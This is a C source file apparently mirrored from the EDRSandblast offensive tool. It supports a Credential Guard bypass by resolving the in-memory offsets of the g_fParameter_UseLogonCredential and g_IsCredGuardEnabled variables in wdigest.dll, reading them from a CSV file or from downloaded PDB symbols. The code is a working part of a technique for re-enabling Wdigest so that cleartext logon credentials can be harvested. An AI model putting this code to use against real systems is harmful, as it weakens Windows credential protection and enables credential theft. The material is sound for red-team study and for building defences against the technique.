mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-08 16:37:12 +00:00
Maxime Meignan
108 lines
3.9 KiB
C
108 lines
3.9 KiB
C
/*
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--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
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--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
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--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
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*/
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#include <tchar.h>
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#include <stdio.h>
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#include "FileVersion.h"
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#include "PdbSymbols.h"
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#include "PrintFunctions.h"
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#include "WdigestOffsets.h"
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union WdigestOffsets g_wdigestOffsets = { 0 };
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// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
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void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
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LPTSTR wdigestVersion = GetWdigestVersion();
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_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
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FILE* offsetFileStream = NULL;
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_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
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if (offsetFileStream == NULL) {
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_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
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return;
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}
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TCHAR lineWdigestVersion[256];
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TCHAR line[2048];
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while (_fgetts(line, _countof(line), offsetFileStream)) {
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TCHAR* dupline = _tcsdup(line);
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TCHAR* tmpBuffer = NULL;
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_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
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if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
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TCHAR* endptr;
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_tprintf_or_not(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
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for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
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g_wdigestOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
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}
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break;
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}
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}
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fclose(offsetFileStream);
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}
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void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename) {
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LPTSTR wdigestVersion = GetWdigestVersion();
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FILE* offsetFileStream = NULL;
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_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("a"));
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if (offsetFileStream == NULL) {
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_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
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return;
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}
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_ftprintf(offsetFileStream, TEXT("%s"), wdigestVersion);
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for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
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_ftprintf(offsetFileStream, TEXT(",%llx"), g_wdigestOffsets.ar[i]);
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}
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_fputts(TEXT("\n"), offsetFileStream);
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fclose(offsetFileStream);
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}
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void LoadWdigestOffsetsFromInternet(BOOL delete_pdb) {
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LPTSTR wdigestPath = GetWdigestPath();
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symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(wdigestPath);
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if (sym_ctx == NULL) {
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return;
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}
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g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolOffset(sym_ctx, "g_fParameter_UseLogonCredential");
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g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolOffset(sym_ctx, "g_IsCredGuardEnabled");
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UnloadSymbols(sym_ctx, delete_pdb);
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}
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TCHAR g_wdigestPath[MAX_PATH] = { 0 };
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LPTSTR GetWdigestPath() {
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if (_tcslen(g_wdigestPath) == 0) {
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// Retrieves the system folder (eg C:\Windows\System32).
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TCHAR systemDirectory[MAX_PATH] = { 0 };
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GetSystemDirectory(systemDirectory, _countof(systemDirectory));
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// Compute wdigest.dll path.
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_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), systemDirectory);
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_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), TEXT("\\wdigest.dll"));
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}
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return g_wdigestPath;
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}
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TCHAR g_wdigestVersion[256] = { 0 };
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LPTSTR GetWdigestVersion() {
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if (_tcslen(g_wdigestVersion) == 0) {
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LPTSTR wdigestPath = GetWdigestPath();
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TCHAR versionBuffer[256] = { 0 };
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GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
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_stprintf_s(g_wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
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}
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return g_wdigestVersion;
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} |